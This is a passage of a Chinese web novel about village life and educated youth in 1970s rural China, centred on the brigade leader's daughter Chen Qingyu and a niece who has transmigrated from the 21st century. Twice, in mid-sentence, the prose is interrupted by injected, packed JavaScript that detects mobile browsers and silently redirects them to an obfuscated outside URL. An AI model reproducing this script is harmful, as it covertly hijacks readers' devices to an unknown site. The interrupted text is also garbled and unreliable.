嘴上说着抓紧找人的话,实则在心底把这人骂的狗血淋头。上头能不能少给他大队分配脑子不好的知青!!! “大队长,找到韩知青了!” “找到了找到了,摔山沟沟里躺着了。” “韩知青在地上一动不动,脸白的跟死人一样,是不是死了啊?咋办啊,大队长,要不要报公安?” 陈远放满头黑线,严厉训斥道:“报个屁的公安,你脑子被驴踢了啊。老大,去探他还有没有气儿。” 陈根听话上前,片刻后:“爸,韩知青还活着。”他粗暴的将人翻了遍,反手掐韩文成鼻下人中:“身上没看到伤口,不知道咋晕倒在这儿了。” 听到找到人的消息响起,乔然和知青们松了口气,一路跑着过来。 看到任由折腾都没睁眼醒来的韩文成,再一看村民们不耐烦的脸色,他跟平时交好的知青递了个眼神。两人识趣上前,把软成一滩烂泥的韩文成搀扶起来。 “大队长,这一趟实在麻烦你们了。韩知青找到了就好,接下来就由我们带他回去吧。” 人活着就成,陈远放不想管后续事。但自己好歹是林山大队的大队长,挤出一丝笑提醒。 “不知道韩知青伤到哪里了,这么久没醒来。你们带他去队上赤脚大夫那里看看,万一伤到脑子问题就大了。”又对村民说,“大家伙都回去了吧,下午还要上工。” 赶紧走赶紧走,他还得带老大老二去给小闺女摘野桃子呢。 乔然真想把姓韩的扔地上不管了,碍于大队长和村民们都在,勉强维系着知青间的和睦。 烦死个人了! 8. 08 若没有大队长的那句叮嘱,乔然一行人是不会有把韩文成送去赤脚大夫这一步骤的。谁都不想惹一身骚,韩文成就仿佛是个智力不全的家伙。 以他的性子,他们在赤脚大夫那儿垫付的钱韩文成是不可能还的。 回村路上,乔然和钟栋梁一左一右拖着韩文成,整个队伍安静如鸡,没人开口说话。 “韩文成就是个祸害!乔哥,我们能不能跟大队长说,把他分出知青点啊?” 这些天深受韩文成折磨的刘宏,恼怒踹路边草丛,出声打破这凝固的气氛。其他知青都还好,唯独他刘宏,床铺一边挨着韩文成。 那叫两眼一抹黑啊,这人真是不分白昼黑夜的看那本破书,嘴里不停念叨,跟西游记里的唐僧一样。 “刘宏,这话以后别说了。”钟栋梁皱眉制止,“要让别人听到影响不好。” 大家都是下乡的知青,在老家见过不少人因为说错话被扣上帽子,下场没一人好的。 刘宏也意识到说错话了,猛抓几下短发泄愤:“那还听大队长的话带他去赤脚大夫那里吗?我反正没钱垫不了,你们都清楚我平时过得啥苦日子,看我这衣服,破了缝,缝了补。” 刘宏家庭组成复杂,惦记着远在家里的小妹。省吃俭用,每隔一两个月还会寄点余钱回去。 这话一出,帮着出来找人的知青们你望望我,我望望你,纷纷开口。 “乔哥,我也没钱。” “我也没有。” 女知青庞珊珊在下乡火车上就认识了韩文成,对他文质彬彬的模样有些心动。见状于心不忍的说:“你们太冷血了吧,只是帮韩知青垫付医药费,他肯定会还的。” 刘宏翻白眼,“哦,你不冷血,那你垫钱吧。” 庞珊珊家境要比大部分知青好一些,双职工父母,自然底气十足。 “垫就垫,我相信韩知青,他才不是你们说的那种人。” 最后下山的陈远放没让两儿子摘野桃,大白天扎眼。他当上大队长后,陈家人行事谨慎不少。若不小心被村里人看到,分桃子都不算啥大事;落入想拉他下马的人眼里,去公社告上他一状就完蛋了。 经这一折腾,到上工的点了。 陈远放让老大老二去上工,想了想还是去了趟老吴那里。 赤脚大夫姓吴,是个快五十岁的老头子。据说是当年逃荒来到村里,然后就待下了。村民有啥毛病就去找他,药材是自己上山找的,晾晒干,所以诊费不高。 “老吴,韩知青醒来没?没大问题吧。” 老吴在翻晾屋内架子上的草药,“没大问题,就摔到后脑勺了。身体弱,吃食没跟上。那谁已经醒来了,一群人刚走。” “行。”陈远放捶捶后腰,“我最近腰老是疼,老吴,你给我开两副药呗。人老了,稍微忙点累点身体就到处痛。” 老吴停下手里的活儿,走过去掀起他衣服,手覆上去来回按压几下。 退出去从柜子里拿出两贴膏药,“陈老哥,你这腰是老毛病了。我这本事治治小毛病还行,你这我没法啊。我劝你还是去县城医院看看吧。” 陈远放感觉腰好多了,不在意的说:“队上缺不得人,马上就夏收了。等这茬结束我再去。” 这话都说千百遍了,老吴无奈叹气。 —— 在家的陈青鱼原本说午睡的,奈何那破小说破剧情不断在脑海中晃来晃去,把她都给晃出焦虑感了。躺下好久没睡着,爬起来在村子里闲逛。 听村民议论韩文成没事了,还好生失望。 这就是男主吗?运气真好,居然屁事没有!! 她恹恹的蹲在路边,揪着野草嘟囔着臭骂写小说的作者。午后树上蝉鸣声悠长不断,还吹来几缕清风。 女人们三三两两的去拿上农具,说着话走向地里。 “阿鱼,蹲那儿干啥呢?走,跟婶子去地里啊。”孙春秀大老远就看到陈青鱼,笑着逗她。 孙春秀是白粥的妈,隔壁白老婆子的儿媳妇。为人爽利,把家里家外收拾的干干净净。 “婶子,我不去。” 陈青鱼还没说两句,边上的王大娘就说话了。 “哎哟,还是青鱼命好啊。我记得长这么大你还没去过地里干活吧。大队长和李姐是真疼闺女啊,我看县城里那些姑娘都没青鱼过得滋润。” “长得也白白嫩嫩的,跟刚出生的小猪仔一样。这要是谁家娶到青鱼,有大队长当亲家就享福喽。哈哈哈。” 话中带刺,不是好话。 陈青鱼听到那句“像刚出生的小猪仔”,小脸唰的一下就沉了。这什么烂比喻啊,不会说话可以不说! 孙春秀面色尴尬:“王大姐,话不能这么说吧。阿鱼是没去地里上工,但她在小学教书啊。这也是在周末放假。” 王大娘扣扣鼻孔,脱口而出:“教书?她教的那叫啥啊,我看都是不正经的玩意儿,就你还当回事。” 还教小孩唱歌,那是正经姑娘家该会的吗?以前唱歌都是那啥大家看不起的。 “王家的,你少说点,为你家俩孩子积点德吧。”听不下去的村民插话说道。 陈青鱼估摸着是自己近两年不爱出门,让村里这几个挑事精觉得她变好欺负了。一颗老鼠屎坏了一锅汤,王家的一大家子就是林山大队的老鼠屎。 她站起来,小脸绷着看向王大娘:“对,我有爸妈,有哥哥嫂嫂们,我就是命好。你要是羡慕,可以去找你爸妈。” 围观的村民不客气的笑出声。 王大娘她娘家在离县城更远的偏僻大队里,十多年前从山上抓了只小野猪仔吃了,几天后一家子人全被野猪咬死了。 让王大娘去找她爸妈,哈哈哈。青鱼这闺女这张嘴巴啊,还是那么毒,一点亏都不吃。 骂骂也好,免得王大娘整天盯着别人家祸害。 陈青鱼继续输出:“王大娘,我读了书,喊你一声大娘。你不会以为你就是我长辈了吧,我家的事还用不着你来管。我爸兢兢业业为大队办事这么多年,你们有什么困难,我爸都尽力给你们解决了。” “王大娘,你不会忘了吧。闹饥荒那三年,要不是我爸省下家里口粮接济你们,你两个儿子早去见你爸妈了。” “我在小学教音体美课程,是经过学校和上面领导批准了的。你看不起音体美,那就去县教育局大闹啊。跟我说这些话,可不管用。” 陈青鱼微微一笑:“对了,王大娘,你要是没途径向上面反应的话,我给你推荐一个人啊。我三嫂在县教育局里工作,你需要吗?” 王大娘面如菜色,她哪招惹得起那些大领导啊。说那些话,就是看不惯陈青鱼太悠闲。对陈家这般惯着一个早晚要嫁出去的丫头,心底嫉妒得慌。 用这么多钱去养丫头,还不如给她老王家养两个儿子。 陈远放说是当大队长为人民服务,那还不是啥好处都没给老王家。家里那么穷,过得那么苦,也没见陈家给钱帮助一下啊。 “我记得陈老三在县城教高中,他媳妇在县教育局挣钱啊。我嘞个老天爷啊,陈老三才是陈家最享福的那个吧。”一村民喃喃出声。 “那也是人家陈老三努力,大队长一家又愿意供孩子念书。周围几个大队,就陈老三一个念过大学。” 众人接连感慨,心里对大队长的敬佩又多了几分。 王大娘忘了陈家还有个有出息的陈老三,生怕陈青鱼要跟她算账,扛不住眼神压力灰溜溜的跑了。还死性不改在心底咒骂。 呸!跑去别人家入赘的儿子算什么儿子,肯定是陈家想攀高枝,把陈老三卖给韦家了。这种丢死人的事也好意思拿出来说,真不要脸。 在边缘围观的知青们,一个个眼睛瞪得老大了。 都听说过大队长家的小闺女长得漂亮,再知道陈家从没让这小闺女下过地,女知青们是真的羡慕了。 庞珊珊心情复杂,就算家里再宠她,爸妈还是在下乡人选中默认了是她。之前还暗自不屑过,心想乡下女孩再漂亮能漂亮到哪儿去,这群没见过世面的村民一定是夸大了。 现在见着本人了,她不得不承认,是很好看。 “说的太好了,我要是能这么会说,我和妹妹可能就不会分开了。”刘宏激激动的抹着眼角,对人群中的小辣椒投去崇拜目光。 乔然压下胸间的悸动,很清楚自己没本事拥有这个鲜亮清纯的女孩子。余光却注意到右前方目光落在陈青鱼身上的郁知青。 郁行,这个知青不简单。 一批知青同一天到达,偏偏这个郁行之后好几天都不在大队上。大队长还对其十分客气。 知青点只有两个厨房,男知青和女知青各一个。郁行来了后,没有融入其中,而是花钱找人在旁边砌了个小灶。给出的理由很充分,‘他有洁癖’。 住的屋子也是花钱单独一间。 这大手笔,把知青们看得一愣一愣的。单就这两天花的钱,都能抵上知青点所有知青近大半年的开销了。 郁行性格冷淡疏离,习惯独来独往,几乎不与知青们交流。但知青们还是能看出他背后家世不一般,想着多一事不如少一事,人家自己单独过也没影响到集体,就这样相安无事的相处下去了。 身为知青点的老大哥,乔然和郁行接触过几回。感觉对方很奇怪,有种平等看不起所有人的疯批美。 说家世不一般吧,跟着上工一天没迟到请假过,挣得工分快赶上本地人了;单独厨房和屋子,浑身气质和体态以及那些家具衣服,足以说明天之骄子。 察觉到身后视线,郁行收敛唇角淡淡笑意,转头看去。 乔然猝不及防和他对视上,仿佛埋藏在内心深处的秘密无处遁形。挤出笑打个招呼,和钟栋梁去地里了。 陈青鱼昂首挺胸的冲村民们笑着,眉眼得意的像只捕到大鱼的小猫,在朝同伴们高调炫耀着她的成果。 骂了一通,身心舒畅。 这回是没人上赶着找骂了,村民们七嘴八舌的夸赞着陈青鱼。夸赞的话总是听不厌烦,再听一百遍都不嫌啰嗦。 要上工,周围人没过多停留,没几分钟就尽数散去了。 人群散去,挤在人群中、尚未离去的青年显露出了身形。高挑挺拔,身材恰到好处,不过分瘦弱。 清冷面容上扬起一抹极轻的笑,让陈青鱼想到了课本上见到过的雪莲花。只有雪山上才有的植物,稀少罕见。 陈青鱼一眼就看到了他,眼睛亮了亮,这不是上次看到的青年吗?他怎会在这里。 李月那天和陈灵儿去知青点,就知晓半路上碰到的人就是老伴口中说的那位郁知青。她以为闺女是单纯好奇,就没多想,回去后也忘了说这事。 “你是谁?” 陈青鱼走过去,大大方方的询问。然后,她就眼睁睁的看见青年脸上的笑容凝固了。 郁行一秒恢复正常,快的让陈青鱼怀疑自己是不是看错了。 “你好,我是郁行。” 这名字耳熟,陈青鱼长长的‘喔’了一声,“我知道你!原来你就是我爸说的郁知青呀。上次谢谢你救了我和灵儿。” 无忧无虑的女孩,语调轻快欢悦,比那百灵鸟儿的声音还要动听。 郁行清晰感受到胸膛里嘭嘭直跳的心跳声,一下又一下。他稳住心神,“不用谢,我没帮多大忙。我刚到这里不久,反倒是给大队长添了许多麻烦。” 陈青鱼一本正经的说:“为人民服务是大队长的职责,应该的。”在外面,陈家人都很统一的维护自家人。 她想起什么:“忘了自我介绍,郁知青,我叫陈青鱼。” 郁行轻笑出声,黑发下的耳朵微微发烫:“我知道你。很高兴认识你,陈青鱼同志。” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765756|174579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也很高兴认识你,郁知青。” 陈青鱼从小就知道自己长的好看,很喜欢照镜子欣赏脸蛋。久而久之,就有些颜控了。越看郁行越觉得喜欢,想带回家珍藏起来。 想到对方是个活生生的人,她可惜的叹气。 这声轻微叹气,引起了郁行的注意。他低头看了今天穿的衣服,整洁的;鞋子没有泥土;双手干净白皙。 难道是脸弄脏了? 可他出门前洗过脸了,不应该啊。嗯,屋子里还该添一个镜子。 “我脸上是有什么吗?”郁行问道。 陈青鱼诧异摇头:“没有啊。”闻言再认真看了遍他的俊脸,直白夸赞道:“郁知青,你真好看。” 郁行白皙面容泛红,似是不好意思。女孩那双明亮眼眸像是灼热滚烫的岩浆,刺得他无法继续对视,又令他埋藏在皮肉下的血液迅速翻涌起伏。 怕被女孩看穿他的别有用心。 身后是郁家,从少时到现在,有无数女孩委婉的向他表达过喜欢。但没有一个和陈青鱼一样,仅仅一个眼神和一句普通的话,就能让他情绪跌宕起伏。 郁行不曾想过,会在这条他没有期待的人生道路上遇到心动的女孩子。 想继续留下和陈青鱼说话,又无比清楚意识到:他需要冷静。 “谢谢。”郁行佯装淡定的谦虚,再待下去不知道会发生什么,“我要去上工了。” 他庆幸自己这次出门前带了补充体力的巧克力,递过去,“请你吃糖。”手指修长,粉色掌心里放着两枚包装精美的巧克力,表面印着外文。 陈青鱼没有立刻接过,“这是什么?” “巧克力,很甜的。你应该会喜欢。” 陈青鱼知道巧克力,高中那会儿有人分她吃过。又香又甜,比蜂蜜都还要好吃。巧克力很贵,县城里的供销社都没有卖这个的。 知道吃人嘴短,她心痛的拒绝:“我不要。太贵重了。”眼神就没从巧克力上挪开过。 郁行将巧克力强行塞她手心。肌肤触碰的那一瞬,他只觉心跳都快要停止了。 “送给你的见面礼。” 说完转身快步走远了。 没走几步,就开始懊恼方才说错了话。普通的巧克力怎么能算见面礼呢,是他心急了。 希望她不会介意。郁行脊背挺的笔直,沉着脸已经在思考要托远在沪市的好友帮他买些什么了。 陈青鱼茫然的眨眨眼,视线在巧克力和远去的背影二者之间来回跳动。第一次有人送她见面礼诶,还是她爱吃的甜食。大城市来的知青就是规矩多。 背影消失在视野里,她指腹摩挲着巧克力光滑的包装,犹豫了下,还是撕开掰了一截放进嘴里。醇香浓郁的巧克力香瞬间弥漫口腔。 哇哇哇,她好喜欢这个巧克力! 郁知青真是个好人。 陈青鱼哼着自创小曲儿回家带娃了,小跃跃就是那个娃。有课去上课,没课在家带娃,她一天天忙着呢。 巧克力是好东西。她给小跃跃分了一小块,剩下那没撕开的放进了抽屉里。 王大娘下午教训陈青鱼不成反被教训一通的消息,很快传进了陈家人的耳朵里。奈何陈家人对陈青鱼有着极厚的滤镜,只听进去了前面。 下午一下工,憋了一肚子火气的李月满地找王大娘的身影。大概是知晓会被骂,王大娘躲的严实,没叫人发现。 李月找王大娘不成,转头就对着迎面走来的王家三父子一阵骂。骂的有水平,不是一味的脏话骂词,而是夹杂着这些年的事实。 把不明所以的王家三父子骂得抬不起头,还反驳不了一句。王老头多少年没被人指着鼻子骂了,更是气得满沟壑褶子的脸直发黑,浑浊眼睛阴沉的可怕。 李月才不管那么多,骂够了回去安慰闺女去了。 这一顿臭骂,还起到了别的效果。把两儿媳妇的皮又给紧了紧,特别是老二媳妇刘招娣,一路上吭都不敢吭一声,走路悄悄,生怕发生声响来被骂。 到家后,张慧和刘招娣也顾不得今晚是谁做饭了,齐刷刷的直奔厨房而去。 见闺女不像被影响的样子,李月说:“阿鱼,妈帮你骂回去了。下次再有这种事,有爸妈在,不用你费口水。” 陈青鱼笑嘻嘻的点头:“妈,我也没吃亏的。” “没吃亏就好。等你爸回来,我定要跟他说说王家那几个。也就你爸烂好人,王家这种人当年都要救。看看,这救了个什么烂东西。” “就是可怜了小莲姐。当初说要给王祖娶媳妇,把小莲姐卖了。呵呵,这都几年过去了,还不是没娶上。” 陈青鱼在爸妈面前没有遮拦口:“就他们这种人,嫁进去的女孩才真是一辈子完蛋了。希望王祖这对兄弟打一辈子光棍!” 李月没戳破她天真的话。王家要是狠狠心的话,还是有人家为了钱把女儿嫁过去的。 陈青鱼甩甩她的胳膊:“妈,你快把眼睛闭上,我给你尝个好吃的。” “好,妈闭上眼睛了。” 李月没问闺女哪来的好吃的,毫不迟疑的笑着闭上眼睛。 陈青鱼掰了三分之一塞进老妈嘴里,雀跃的邀功道:“妈,甜不甜?” 李月细细尝着嘴里的味道,品出这不是普通糖果:“甜。阿鱼,这东西你哪儿来的啊?很贵吧。”她活了几十年都没吃过这么细腻的糖果,比白糖还要甜一百倍。 “别人送的。” 陈青鱼坦然说,“这叫巧克力。这东西对他来说不算啥,妈你就放心吃吧。” 李月能放心吃就不叫李月了。但看闺女不愿细说,没急着追问。大不了她平时多花点时间守着就好了,外面的大尾巴狼总不能上门来叼走她家闺女吧。 又掰了三分之一,陈青鱼趁没人注意喂给了老爸尝尝。剩下的三分之一,留着明天吃。 嘻嘻。 9. 09 隔壁屋。 陈灵儿正蹲在门口抱头哭泣,抽抽噎噎的,还没敢哭大声怕被陈家人听到。 今天是她来到这里后,第一次正式跟着去地里上工。姐妹俩被分到玉米地拔草。成人高的玉米,只能钻进地里蹲在拔草。 这活比去翻土挖地轻松太多了,小孩也能干,但把没干过农活的陈灵儿折腾惨了。 玉米叶有细小绒毛,叶片锋利,稍不注意就会划出口子。她没有经验,没干几分钟就浑身发痒,挠脖子挠手臂,恨不得长八只手不停挠痒痒。 为了不引起姐姐怀疑,陈灵儿难受的掉眼泪,还要努力的拔草追赶进度。天知道她拔草都要拔到绝望了,才终于熬到了下工的时间。 一想到今后要吃的苦头比这只多不少,陈灵儿就两眼一黑,恨不得找块石头撞上去好回到二十一世纪。都说上早八痛苦,跟今天的拔草经历相比完全不算什么了。 至少前者她还能爬起来,不会对未来丧失盼头。 但她的身体只怕是被火化了,也不想变成孤魂野鬼。呜呜呜,身上还特痒,好想洗澡洗头发,陈灵儿咬紧牙关悄悄的躲着泪流满面。 十足的一小可怜。 陈花花察觉妹妹今天有些奇怪,手脚磨蹭,干活慢了很多。但她也没多想,妹妹还小,前段时间又落了水受了伤,想来是身体还没养好。 在地里干完自己这边的活儿,麻溜过去帮妹妹一把。等晚上回家她准备和奶说,让妹妹再休息几天。 傍晚一到家,刘招娣喊姐妹俩进厨房干活。陈花花回头看灵儿皱巴着脸蛋,似乎很不舒服的样子,便趁刘招娣转身赶紧让她进屋去待着。 做晚饭有她这个姐姐帮忙就够了。 陈青鱼用好人送的巧克力,哄得爸妈满脸笑容。 无意瞧见院子墙边种的月月红开花了,比大拇指大不了多少的花朵一簇簇绽放着,花瓣呈桃红色,艳丽芬芳,是院子一处亮眼的颜色。 正说去摘一枝放在屋里,就隐约听到墙角上方时有时无的抽泣声。 ???什么玩意儿,见鬼了? 陈青鱼循着声儿抬头看去,这不是陈花花和陈灵儿的屋子嘛。退后几步朝厨房那边望去,不见陈灵儿的踪影。 所以是陈灵儿躲在屋里哭? 门没关,屋子不大,一眼就能看完屋内情况。陈青鱼出乎意料的没见着人,疑惑不解。转身那一刻,躲在门口的人无处遁形。 “你躲在门口干嘛?” 沉浸在自己命好苦的情绪中的陈灵儿,面前乍然响起说话声,泪眼朦胧的抬起脑袋。见是陈青鱼,莫名委屈的瘪瘪嘴。 喉间有无数话想多,最后只憋出来一句: “小姑姑,我想洗澡洗头发。” 陈灵儿以为自己是小可怜模样,实际落入陈青鱼眼中的她,哭得满脸泪痕、发丝凌乱,身上衣服到处沾着野草的浆水和褐色泥印。 像只落魄流浪的小土狗。 陈青鱼从没见过有人能把自己哭成这模样的,还顶着她侄女的脸。情绪复杂纷乱,明知道内里早不是侄女灵儿了,她还是有一瞬的心软了。 “想洗澡洗呗,又没人拦着你。就因为这就躲门口哭?” 陈灵儿表情幽怨:“厨房在做饭,烧不了热水。”洗不来冷水,浇身上冷的她瑟瑟发抖。 “院子桶里不是有晒过的水吗?那水是温热的。” “我不敢用,怕奶揍我。”陈灵儿吸了吸鼻子,闷声闷气的说出大实话。 和陈家人生活相处了这么些天,感觉原身的大部分家人都蛮好相处的,除了亲妈刘招娣和奶奶李月。 她也看出来了,刘招娣重度重男轻女,以前就没把两女儿当孩子对待,说是随叫随到的佣人还差不多。好在没弟弟,陈花花这个姐姐护着,又有奶镇压,陈灵儿没多难受,就是耳朵深受折磨,经常私下挨刘招娣的说骂。 陈灵儿讨厌不把女儿当回事的刘招娣,但对奶奶李月就是害怕了。怕她发现自己不是她孙女。 她也不理解这种害怕从何而来,明明这样对孙子孙女一视同仁的奶奶在这年代的乡下,能称得上是稀罕了。 “你在说什么胡话?” 陈青鱼不高兴了,往前走两步,俯视坐在光线不太好门口的陈灵儿:“你长这么大,我妈就没揍过你好吧。揍你的是你妈,你要是想挨揍,我现在就去把我妈喊来。” 她听不得旁人说爸妈的坏话,哪怕是亲人也不行。何况现在的‘陈灵儿’还不是陈灵儿。 陈灵儿迅速爬起来抱住大腿,仰头真挚检讨:“别别别,是我说错话了。小姑姑你大人有大量原谅我吧,就当我刚刚放了个屁。” “奶最好了,是天底下最好的奶。小姑姑你也最好了,别喊,求你。” 陈青鱼懵了,低头呆呆看着小脏人扒拉在大腿上,沾着不知名水痕的手在裤子上印出痕迹。眼看着陈灵儿还要将脸贴上去,她一个激灵疯狂抖腿。 “放开我的腿,陈灵儿!” “啊啊啊,你鼻涕别弄我裤子上了啊!” 奈何陈灵儿扒拉的太紧,陈青鱼没抖动。腿上好像绑了一块巨石,限制了她的行动。 陈远放和李月疼小闺女,陈家虽说有四兄弟,但陈青鱼出生的时候,上头四个哥哥结婚的结婚挣钱的挣钱,能养活自己了。 夫妻俩有积蓄,足以把小闺女养的很好。哥哥们也稀罕小他们这么多的小妹,啥事都依着她,还真就给陈青鱼养出了不少爱讲究的小习惯。 爱干净就是其中一条。 陈家的男女老少,都习惯了她的爱干净。甚至在陈青鱼的影响下,他们慢慢的也把爱干净刻进了生活里。 连陈跃都知道,回家第一件事就是洗手手。不能用脏脏的手碰小姑姑,否则小姑姑会生气的。 陈灵儿先前哭的太狠,现在有些控制不住鼻涕。她重重吸了下,眼满热泪:“小姑姑,那你先答应我别跟奶说。” “行行行,我答应,你快放开我啊。” 陈青鱼些许崩溃的催促道。伸手想把人掰开,找了好几秒都没找到能下手的地方。 陈灵儿嘿嘿笑着松开了,“小姑姑,你真好~” 陈青鱼小脸冷漠,毫不留恋的走到门槛处,手指发抖指着还好意思笑出来的陈灵儿。可恶啊,她居然也有被人威胁的一天。 “你,你很好!”给她等着!她从牙缝挤出一句。不想要女主了,还她可爱乖巧的侄女来。 陈青鱼走了,陈灵儿还没从地上起来,门口探出一颗小脑袋。 “堂姐,你完蛋了。你把小姑姑惹生气了。” 陈跃捂嘴偷偷的笑。 陈灵儿胡乱擦掉脸颊上的泪水,看着小孩说:“啊,有吗?小姑姑刚不是还夸我很好吗?” 陈跃不可置信的瞪大眼,连他一个小孩子都能听出小姑姑那是气话。二堂姐好笨啊…… “你把小姑姑的裤子弄脏了。而且,堂姐你还流鼻涕,我生病流鼻涕了都离小姑姑远远的。”他人小鬼大的摇摇头,慢吞吞的说着。 陈灵儿:…… 完蛋了。 下工后,还没到歇空的时候。男人们去挑水,去山上砍柴火。女人们在家做家务收拾小孩。 没男人的家里,女人当男人用。 李月去厨房盯着老二媳妇做饭,家里她最不放心的就是刘招娣了。这女人上辈子饿死鬼投胎似的,嘴馋的要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765757|174579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死,好几次逮到在厨房偷吃,回回拽着耳朵教训都不管用。 最近倒是老实不少,手脚规规矩矩的。 灶洞里柴火烧起来,厨房又闷又热。见大孙女热得满额头是汗也不敢起来,李月心里叹气。 “花花,烧火哪用在灶火前守着,出去走走。” 陈花花喊了声“奶”,听话的正要起身出去,就看到妈在瞪自己。低头咬着唇瓣,没动了。 “奶,我不用。”她用手背擦掉流进眼角的汗水,眼睛酸涩得慌。 这一幕被李月看在眼里,有些心疲。 孩子太老实了可不是什么好事,容易被人拿捏,摊上这么一个妈,亲爹又是个和稀泥的。 他们当爷奶的,勉强还能护上几年。老大家的陈明今年十五,花花也十四了,再过几年就该筹备成家大事了。李月和陈远放私下有谈过关于分家的事情,家里人口太多,又何尝不是另一种负担。 “老二媳妇,这里用你闺女一直添柴火?”念在两个孙女吃了不少苦,李月耐心稍微多些。 刘招娣握汤勺的手一抖,忙说:“不用不用,花花想出去就出去吧。晚饭快做好了,我一个人能行的。” 李月谁都没再看,转身出了厨房。年纪大了,干了一天活儿身体疲惫不堪,没多余心思插手别的。她对儿子儿媳没啥掌控的想法,甚至不止一次生出这群小兔崽子有多远滚多远的念头。 能做的都做了,她是当长辈,不是当妈。光阿鱼一个她和老头子都操心不过来了。 挑着水回来的陈老二陈丰,一进院子就看到蹲在院子中间桶边的小女儿,“灵儿,你蹲哪儿干啥呢?” 陈灵儿还是没胆儿找李月,宁愿蹲在傻愣着。见到爸回来,她欣喜的提出要求:“爸,我身上痒,想现在洗澡。” 陈丰这个爸不咋管事,对俩闺女勉强有点父女情的。虽然大部分时候是家里的透明人,但对闺女提的小要求还是愿意满足的。 “那你洗啊。你那桶里的水用完啦?” 乡下夏天气温高,有的人家会用桶装着水放在太阳底下。白天过去桶里的水也成了温水,女人和孩子用来洗澡,温度刚好。 “还没人用。” 陈丰满脑问号:“没人用那你用啊,跟我说什么。那两桶水也够你用了吧。你爸我累死累活挑水回来就是给你们用的啊。”灵儿这闺女脑子是不是不好使啊。 他将井水倒进石缸里,这时李月从厨房出来。他张口就说:“妈,灵儿说她要先洗澡洗头发。” 这话听的李月一股子无名火,“要洗就洗啊,啥事都要问我。你们一个个吃饭拉屎咋不问我,能不能让我省点心啊。你们都有脑子,说话前使使你们那快生锈的脑子行不?” 哎哟,气得她脑仁疼。 这群讨债鬼哟,真想撂挑子什么都不管了。 陈丰没啥本事,但极会看人脸色。顿时不说话了,两桶水倒完挑着桶又出去了。在家不是挨骂就是挨骂,还不如出去干活好。 众人平等的挨了一顿骂。 被骂之一的陈灵儿后知后觉,洗澡这事好像确实是她多想了。 奶疼爱小姑姑,但同样也看得见孙子孙女。家里一切资源大家都有使用的权利,像那种集一家之力供养一个人的情况在陈家是不存在的。 陈灵儿捶了捶脑袋,看来是今天太累把脑子都给累坏了。听出奶生气得厉害,斜着眼看到奶叉着腰嘴里还骂骂咧咧,想去安慰的心‘嗖’的一下就消散了。 换好干净裤子的陈青鱼听见回荡在院子里中气十足的大嗓门,走了出去。 看到她,陈灵儿悄步回屋拿衣服准备去洗澡了。安慰奶这件事,还是交给专业人士来吧。 10. 10 陈灵儿第二天还是去上工了。 前一天晚上睡觉前细想了下,能改变目前现状的方法只有一个:去学校读书。 想想都要落泪,这具身体今年才13岁,小学学历。一定意义上来说,‘陈灵儿’是个文盲。 她不要当文盲啊,她也不要十七八岁就结婚生子啊!上辈子活了二十年,从没想过‘读书’会有一天成为她的奢望。吓得陈灵儿翻来覆去的没睡着,还把陈花花惊醒了。 没忍住暗戳戳的问了陈花花好些有关上学念书的信息。 原身希望能让姐姐过得好,这愿望得帮原身实现啊。其实就算没有原身的话,陈灵儿也会想办法做到。陈花花对她这个妹妹真的很好,即使是因为原身,她也感受到了来自属于姐姐的那份温暖。 而且,陈花花真的很聪明。要在二十一世纪,肯定是拿全额奖学金的大学霸。这年头国家正是缺人才的时候,有这脑子和聪明,去念书上大学指不定会有多大奇迹发生。 在乡下浑浑噩噩的结婚生子,太可惜了。 绞尽脑汁思考到半夜,想出了好几个能让自己和姐姐去学校念书的法子。就是不知道家里有没有钱供她们读书。 越想越心酸,心酸呐!!! 好怀念九年义务教育啊,呜呜呜~ 亲爸妈那里是指望不上的,找机会探探陈青鱼的口风吧。过爷奶那关,还需要这位小姑姑帮忙说话。陈灵儿别的本事没有,抱大腿有一手。 没去学校上学前,她决定为这个家做点贡献。拔草就拔草吧,就当是锻炼身体,待在陈家吃白饭之后就更不好提要求了。 陈灵儿的诸多想法,陈青鱼无从知晓。她今天忙着呢,要一个人去县城,给高中关系不错的朋友庆生。 “阿鱼,要不让你爸送你一趟吧。”李月得知闺女要出门给她揣了一张大团结,不放心的说。 给小闺女的钱都是老两口攒的体己钱,不想她在同学面前抬不起头来就咬咬牙多给了些。这钱今后都是要给闺女的,早给晚给也没区别。 “不用,爸事情那么多。” 陈青鱼愁眉苦脸的站在半人高衣柜前挑今天要穿的衣服,“妈,你帮我决定吧。” 李月搞不懂闺女的想法,拨弄那些衣服裙子:“咋,这些都不喜欢了?但最近两个月地里要忙起来了,等这阵子过去妈就给你做新的。” 女孩子哪有不喜欢新衣服的,陈青鱼当然没拒绝,双手环抱着李月腰软软撒娇:“嗯嗯,妈妈就是世界上最好的妈妈~我不着急的,这些衣服我还喜欢着呢。” 李月神色宠溺的轻拍闺女脊背:“这么大的人了,还像小时候一样跟妈撒娇啊。” 她说着从柜子里取出一件嫩黄色的娃娃领连衣裙,往闺女身上比划,“穿这件吧,年轻女孩就该打扮的漂漂亮亮的。不过我家阿鱼生的好看,穿啥都好看。” 陈青鱼没有犹豫就换上了。 李月给她左右各编了辫子,在离发梢有一直距离时绑上发绳。这种扎发方式还是陈青鱼发明的,比一整条辫子灵活飘逸许多。 “阿鱼,妈要去地里了。和同学们好好玩啊,记得到县城了先去买点水果啥的,上门空着手不好。” 